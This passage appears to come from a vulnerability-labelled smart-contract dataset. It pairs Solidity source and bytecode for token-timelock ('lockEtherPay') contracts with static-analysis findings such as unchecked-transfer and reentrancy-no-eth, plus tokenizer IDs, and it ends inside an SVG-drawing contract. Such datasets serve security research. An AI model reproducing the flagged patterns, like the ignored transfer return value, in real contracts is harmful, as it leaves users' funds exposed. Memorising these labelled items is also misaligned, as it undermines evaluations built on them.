5b42600881905550610c03622e24804261152390919063ffffffff16565b600681905550610c58333084600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116ac909392919063ffffffff16565b7fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a15050565b33610c9c6112be565b600981905550610caa611000565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610d7957610cef81610641565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610d8433610641565b90506000811115610e70576000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e213382600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b29092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a25b5050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ec561107b565b1515610f39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b600061100e42600654611883565b905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110be61189c565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b336111086112be565b600981905550611116611000565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156111e55761115b81610641565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008211151561125d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b611266826118a4565b3373ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040518082815260200191505060405180910390a25050565b60085481565b6000806112c9610826565b14156112d9576009549050611353565b61135061133f6112e7610826565b611331670de0b6b3a7640000611323600754611315600854611307611000565b61140590919063ffffffff16565b61144f90919063ffffffff16565b61144f90919063ffffffff16565b6114d990919063ffffffff16565b60095461152390919063ffffffff16565b90505b90565b60095481565b61136d61136833610e74565b610837565b611375610c93565b565b60065481565b61138561107b565b15156113f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611402816119a5565b50565b600061144783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aed565b905092915050565b60008083141561146257600090506114d3565b6000828402905082848281151561147557fe5b041415156114ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f3e6021913960400191505060405180910390fd5b809150505b92915050565b600061151b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611baf565b905092915050565b60008082840190508381101515156115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6115c28160015461140590919063ffffffff16565b60018190555061161a81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116a933826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b29092919063ffffffff16565b50565b6117ac848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611c79565b50505050565b61187e838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611c79565b505050565b60008183106118925781611894565b825b905092915050565b600033905090565b6118b98160015461152390919063ffffffff16565b60018190555061191181600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a23330836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116ac909392919063ffffffff16565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611f186026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008383111582901515611b9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b61578082015181840152602081019050611b46565b50505050905090810190601f168015611b8e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831182901515611c5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c22578082015181840152602081019050611c07565b50505050905090810190601f168015611c4f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385811515611c6b57fe5b049050809150509392505050565b611c988273ffffffffffffffffffffffffffffffffffffffff16611ecc565b1515611d0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083101515611d5d5780518252602082019150602081019050602083039250611d38565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611dbf576040519150601f19603f3d011682016040523d82523d6000602084013e611dc4565b606091505b5091509150811515611e3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115611ec657808060200190516020811015611e5d57600080fd5b81019080805190602001909291905050501515611ec5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611f5f602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015611f0e57506000801b8214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a165627a7a723058205a5083114158ec7c80a3d11b30439e57d394def372560723759dd16863f2d64b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 23632, 3676, 2692, 2497, 20842, 2683, 26187, 17465, 2581, 26224, 2497, 16703, 19317, 2692, 2549, 6679, 26187, 2683, 3676, 11387, 3676, 2575, 2509, 2546, 2575, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5641, 1011, 2538, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3115, 8785, 16548, 4394, 1999, 1996, 5024, 3012, 2653, 1012, 1008, 1013, 3075, 8785, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2922, 1997, 2048, 3616, 1012, 1008, 1013, 3853, 4098, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,736
0x9741ba8b517b426f4ff7143c33bb73aa63649a99
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x4B664ef96353f580BAf7ed59BB1188Ca1F2B4Ed2; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820d5b34cca5066bdad93b34b90e7b575442559fb6f48dfc3d361b41bfd33a4cd840029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 23632, 3676, 2620, 2497, 22203, 2581, 2497, 20958, 2575, 2546, 2549, 4246, 2581, 16932, 2509, 2278, 22394, 10322, 2581, 2509, 11057, 2575, 21619, 26224, 2050, 2683, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,737
0x97429344dda088d3c645d397e9d70d0263af1010
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28684800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x7d4C9Bb7436c9E20e6f84386145907A1Be9Fb34b; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820908ea4b1b261d4241dd4ddadd8dbb85d45974930531b2c0e070855e228879a260029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 20958, 2683, 22022, 2549, 25062, 2692, 2620, 2620, 2094, 2509, 2278, 21084, 2629, 2094, 23499, 2581, 2063, 2683, 2094, 19841, 2094, 2692, 23833, 2509, 10354, 10790, 10790, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,738
0x974309b702a27F591B191497D796fc693C372077
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; import './IAnimalSVG.sol'; contract Bunny is IAnimalSVG { function svg(string memory eyes) external override pure returns (string memory){ return string( abi.encodePacked( '<rect x="0" y="0" class="c1 s"/>', '<rect x="1" y="0" class="c1 s"/>', '<rect x="2" y="0" class="c1 s"/>', '<rect x="3" y="0" class="c4 s"/>', '<rect x="4" y="0" class="c4 s"/>', '<rect x="5" y="0" class="c1 s"/>', '<rect x="6" y="0" class="c1 s"/>', '<rect x="7" y="0" class="c1 s"/>', '<rect x="8" y="0" class="c4 s"/>', '<rect x="9" y="0" class="c4 s"/>', '<rect x="0" y="1" class="c4 s"/>', '<rect x="1" y="1" class="c1 s"/>', '<rect x="2" y="1" class="c1 s"/>', '<rect x="3" y="1" class="c1 s"/>', '<rect x="4" y="1" class="c4 s"/>', '<rect x="5" y="1" class="c4 s"/>', '<rect x="6" y="1" class="c1 s"/>', '<rect x="7" y="1" class="c1 s"/>', '<rect x="8" y="1" class="c1 s"/>', '<rect x="9" y="1" class="c4 s"/>', '<rect x="0" y="2" class="c4 s"/>', '<rect x="1" y="2" class="c4 s"/>', '<rect x="2" y="2" class="c1 s"/>', '<rect x="3" y="2" class="c1 s"/>', '<rect x="4" y="2" class="c4 s"/>', '<rect x="5" y="2" class="c4 s"/>', '<rect x="6" y="2" class="c4 s"/>', '<rect x="7" y="2" class="c1 s"/>', '<rect x="8" y="2" class="c1 s"/>', '<rect x="9" y="2" class="c4 s"/>', '<rect x="0" y="3" class="c4 s"/>', '<rect x="1" y="3" class="c1 s"/>', '<rect x="2" y="3" class="c1 s"/>', '<rect x="3" y="3" class="c1 s"/>', '<rect x="4" y="3" class="c1 s"/>', '<rect x="5" y="3" class="c1 s"/>', '<rect x="6" y="3" class="c1 s"/>', '<rect x="7" y="3" class="c1 s"/>', '<rect x="8" y="3" class="c1 s"/>', '<rect x="9" y="3" class="c4 s"/>', '<rect x="0" y="4" class="c4 s"/>', '<rect x="1" y="4" class="c5 s"/>', '<rect x="2" y="4" class="c5 s"/>', '<rect x="3" y="4" class="c1 s"/>', '<rect x="4" y="4" class="c1 s"/>', '<rect x="5" y="4" class="c1 s"/>', '<rect x="6" y="4" class="c5 s"/>', '<rect x="7" y="4" class="c5 s"/>', '<rect x="8" y="4" class="c1 s"/>', '<rect x="9" y="4" class="c4 s"/>', '<rect x="0" y="5" class="c1 s"/>', '<rect x="1" y="5" class="c5 s"/>', '<rect x="2" y="5" class="c5 s"/>', '<rect x="3" y="5" class="c1 s"/>', '<rect x="4" y="5" 